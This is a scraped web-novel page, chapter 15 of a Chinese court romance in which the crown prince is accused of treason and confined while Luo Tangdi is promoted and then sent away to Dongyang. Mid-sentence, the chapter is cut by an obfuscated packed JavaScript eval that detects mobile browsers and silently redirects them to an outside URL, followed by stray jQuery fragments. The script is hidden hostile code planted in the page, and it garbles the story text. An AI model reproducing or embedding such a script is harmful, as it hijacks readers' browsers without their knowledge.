默认冷灰
24号文字
方正启体

15. 软禁

作者:尔礼本书字数:K更新时间:
    罗棠棣有些没反应过来。


    她今日过来说这些,当然不是为了邀功。只是殿下告诉她,可以与陛下说,而她也想把王息将来会造反的消息传递给陛下,让陛下早有准备。


    但当初册封她为县主时,食邑数量已然格外破例,现在册封郡主更是大大的破例……


    这也太夸张了些吧!


    裴毓见她有些没反应过来的样子,只笑着道:“还不快接旨。”


    长辈赐不可辞,罗棠棣乖顺跪下接旨。


    接过旨意,皇帝又仔细问过她最近过得好不好,又赏了几样小玩意给她,这才作罢。罗棠棣想到上辈子的事情,没和往日那般没心没肺,再三叮嘱陛下万万要注意身体。


    少女语调活泼,说出的话却关怀熨帖。


    皇帝瞧着她,不由越发慈爱。宫中皇子公主并不少,独有罗棠棣眼底只带着全然的信赖,仿佛他并非天子,而只是个寻常的父亲。


    既为人父,总盼着子女有个好归宿。


    罗棠棣退下去许久,皇帝都在兀自沉思,终于还是叹息一声:“母后倒舍得把她嫁去东阳。”


    若是嫁去了东阳,山高水远。成了亲的女郎,到底是别人家的人,如何还能常回到建康见一见亲人,只怕能见的面屈指可数。


    室内又陷入了沉默。


    不知过了多久,田内侍才入内低声道:“陛下,郭大人有急事奏见。”


    听到郭字,皇帝眉间轻蹙了一瞬,很快又神情如常。


    “召他近来。”


    “是。”


    不多时,郭韶便入内拜见。


    君臣之间寒暄数句,便不再多言,直切主题。


    郭韶呈上所携书稿,躬身取下乌纱,便要跪地叩拜。皇帝先一步拦住他,抽出书稿,视线扫过发黄的薄薄书页纸张,视线停留在行云流水的熟悉字迹上。


    室内的空气仿佛被浓云压实,令人难以呼吸。


    良久,皇帝道:“这是何意?”


    郭韶顾不得皇帝阻拦,噗通一声跪在地上,颤声道:“皇太子有不臣之心,尽数展露于笔墨之间,陛下明鉴!”


    皇帝没有说话,垂眼看着纸上寥寥数语。


    这是前朝的史书,某位篡位帝王的本纪,第一页。正写到久久屈居他人之下,帝王不慈,群臣虎视眈眈,与其一退再退,不如先发制人。


    太子写了两行字的批注,颇为嘉许此位帝王。


    只是上头的字迹虽然有大家之风,却到底还有些稚嫩,用笔隐约可见虚浮。这史书纸张更是发黄发脆,打眼一瞧,便能猜出快是十年前的批注。


    彼时裴灵渊不过七八岁的光景。


    “朕倒没想到。”


    皇帝的语气有些轻,听不出是嘲讽,或者气恼失望。但郭韶觑着帝王神色片刻,已然迅速抬起头,一气呵成怒斥道:“臣等何曾料想,太子身为人子,竟敢有如此大逆不道之念!”


    只静了片刻,皇帝已然冷声道:“太子既有谋逆之念,此事移交廷尉调查。”


    郭韶这才汗出如瀑,躬身应是。


    不只是他,还有朝中许多人,都有些摸不透太子在皇帝心中的分量。但既然太子眼疾加重,早有传闻,称太子已经几近目盲,这储君的位置便万万坐不得了。


    寿宴上,用来试探的白玉如意起了效。


    明知不过是信口污蔑,诅咒之谈更是牵强附会,但陛下却并未维护裴灵渊。反倒是任由着他们,合力将此事闹大,以至于只差一点便能将裴灵渊从储君的位置上拉下来。


    偏偏东阳县主横插一脚。


    不知是有心还是无心,总归是替裴灵渊解了围。


    可局都攒好了,又怎么会这么轻易就揭过去呢?郭韶此次拜见,心中虽然有寿宴上的白玉如意探出的底,可到底还是十分不安稳。


    毕竟,裴灵渊是崔皇后所出。


    崔皇后与陛下少年夫妻,当年若非崔家,陛下也未必是眼前的天子。


    总是这么些年陛下冷待甚至苛待太子,众人心中,却总有几分不安稳。毕竟是少年时的亡妻之子,又多年未曾透露出另立储君的意思,他们便也看不穿陛下想些什么。


    但眼下,尘埃落定。


    陛下放弃裴灵渊,放弃得干干脆脆。


    郭韶迟疑片刻,还是低声道:“那太子殿下……”


    “查清楚,这是否为太子亲笔所书,与其余谋反证据。”皇帝惯来温雅慈和的面上只剩下冷漠,垂眼睨了郭韶一眼,瞥开视线,“暂将太子幽禁东宫,不许东宫内外有半分消息传递。”


    得到了心满意足的答案,郭韶躬身领命而去。


    此事已至暮春时节,花木纷纷。


    郭韶身上的官袍已被汗透,行在葳蕤花树下,暖风终于吹干了衣衫。他登上马车时,不经意往外多看了两眼,瞧见位罗衣妍丽的年少女郎。


    正是东阳县主罗棠棣。


    其实才传了旨意,眼下已然是东阳郡主了。


    满天下都知道,陛下何等宠爱东阳郡主,必亲生的诸位公主更为宠爱。这句话并非夸张,陛下身边最得宠的郭贵妃所出的晋安公主,在宫里遇到罗棠棣都得避一避风头。


    眼下又加封一层,只怕多半也是撑腰的意思。


    这般尊荣,谁敢得罪她?


    纵然她打乱了寿辰上的计划,致使他们许多心血付之一炬。可有陛下再三撑腰,任谁也不敢记恨她,更遑论是报复。


    郭家是由陛下一手提拔,郭韶自然有这样的眼力见。


    虽然贵为重臣,还是让人提醒她一句:“郡主,城西的路堵住了。”


    罗棠棣没往心上去。


    随便道了句谢,连是谁提醒的自己都没多想,只让牛车调了个方向。从城南的方向拐一拐,拐到城西,她今日便要赶去那个明夷书肆!


    因为陛下寿辰的缘故,近日城内很热闹。


    建康城不算大,这些年才繁华起来,所以有些逼仄,堵了许久才行至明夷书肆。


    此处十分偏僻不起眼。


    罗棠棣急了一路,当即便要下车。


    狭窄杂乱的小巷子骤然明亮起来,所有人的视线,不由落在正在掀帘子的女郎身上。少女浑然不觉,抬手随意甩开车帘,玉白手腕衬得叮咚的碧玉镯都黯然失色。


    尚未回过神,更明艳动人的面容便撞入视线。


    纵是春日最娇艳的花也不及她亮眼。


    少女似乎早就习惯了所有人的注视,动作从容,群青交窬裙掠过杂乱的地面,繁复杂裾纷飞,腰间绶带缀着玉佩随意相击,发出清脆的声响。


    她也不要仆婢代为转达,自顾自扫视四周。


    “谁是明夷书肆掌事的?”


    安静片刻。


    书肆内帘子被掀开,一位抱书素衣女郎淡声道:“是妾身。”


    罗棠棣看向对方,脱口而出:“阿秾?”


    “……”


    阿秾眼底闪过一丝惊讶,但很快归于平静,仍是那副冷冷清清的模样。


    罗棠棣在打量她,她也在打量罗棠棣,眼前的少女身着缃黄花罗广袖长襦,肩披着月白半臂春衫,鬓边乌黑垂髾纷乱,衬得暖白的面容好似美玉般通透。


    只是眉梢眼底的骄纵跋扈之气,倒消了些。


    但阿秾仍懒得理她。


    “做什么?”


    罗棠棣绞尽脑汁想了想,还是想不出,自己和阿秾从前在哪儿见过。但方才叫出她的名字,阿秾偏偏又有些意


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15989083|178000||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    外,却又不甚意外的模样。


    可见两人之前是见过的。


    实在想不出,罗棠棣不得不暂时抛开这个问题,唤她进了内室。


    阿秾脸色难看,似乎不满她理直气壮的指手画脚。


    罗棠棣当然没察觉到,她进了内室,便急忙将小心揣在怀中的私印拿了出来,语气压抑着那点小自豪,佯装从容道:“是这样的,殿下他说此桩事件极为重要,必须要我来替他做才好!”


    阿秾接过私印,脸色变得很难看。


    罗棠棣不由有些心虚。


    虽然,也没有很重要,但不至于表现得对她这么鄙夷吧。


    罗棠棣是个颇为大度的人,并不与阿秾计较,但还是忍不出催促,“你说话呀。”


    “知道了。”阿秾仍是那副冷清倦怠的模样,正眼都懒得给罗棠棣,起身时身形却不由晃了一下,片刻才匆匆出去,又匆匆进来,“是这些。”


    “怎么是……”


    怎么是个匣子?裴灵渊不是说,是抵押的书卷吗。


    阿秾忽然剜了她一眼。


    这目光太过复杂,罗棠棣根本无法读懂,阿秾便已然转身出去了。罗棠棣不得不收回神,看向手里的匣子,然后动手打开。


    当真有一卷纸札,一只玉箫。


    这玉箫材质非凡,但罗棠棣想了想,并不记得裴灵渊会吹箫。于是她避开玉箫,拿起了那卷纸札,摊开来一看,不过是张地契而已。


    虽然都价值不菲,但也没什么稀奇的。


    罗棠棣满头雾水,却只能将这些东西全都收下,仔细放好。


    她掀开帘子,阿秾坐在柜台后,冷薄的眼尾有些红肿,不由望着她片刻。察觉到罗棠棣的视线,她侧过身去,语气讥讽,“若是脏了贵人的眼,还请移步。”


    闻言,罗棠棣快步上前。


    阿秾骤然抬眼,眸光锐利,却正撞上道明媚无害的视线。


    漂亮娇贵的少女凑近她,好像有点担心,软声问她:“你遇到了什么伤心事吗?”


    并没有勃然大怒,要掌掴她。


    “……”


    阿秾有些茫然看罗棠棣。


    而罗棠棣见她似乎并不是哭泣的样子,只好当自己刚才的话没说过。但怀中这两样东西,真是莫名,她想问一问阿秾是怎么个来历。


    阿秾却淡淡道:“女郎若是太闲,不如关心关心太子殿下。”


    这还不如不问呢。


    她刚从裴灵渊那儿离开,才刚关心过。


    罗棠棣兴致勃勃地来,一头雾水地回去。然而罗府今日却格外奇怪,正门大开着,两侧仆人皆垂首肃立,见了她连忙上前。


    “恭喜郡主,太后娘娘赐了懿旨下来,请郡主代为去东阳探亲呢!”


    罗棠棣脱口而出:“我不去!”


    昨夜她才告诉姨祖母,她不愿意出嫁,更不愿意去东阳。姨祖母和陛下一向疼爱她,怎么会突然让她去东阳,都不提前打招呼呢?


    这其中一定有些误会。


    不等罗棠棣再说些什么,叔父罗重之已从正堂疾步行来,厉声道:“不得胡闹!”


    罗棠棣骤然湿了眼眶。


    这里有宫里来过的痕迹,能赐下旨意的,只有太后和皇上。可他们分明如此疼爱她,为什么忽然要把她赶去东阳,理由都蹩脚到连她都觉得奇怪。


    罗棠棣隐隐觉得不安,她抱紧了怀中的匣子。


    “太子有谋反嫌疑,陛下震怒,眼下京都不太平。”罗重之看她模样,语气终究还是温和了几分,口吻却仍是不可拒绝,“虽然眼下只被软禁调查,但……”


    朝廷上的事情,罗重之不方便与她说。


    但沉默下的意思,她应当能领会。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)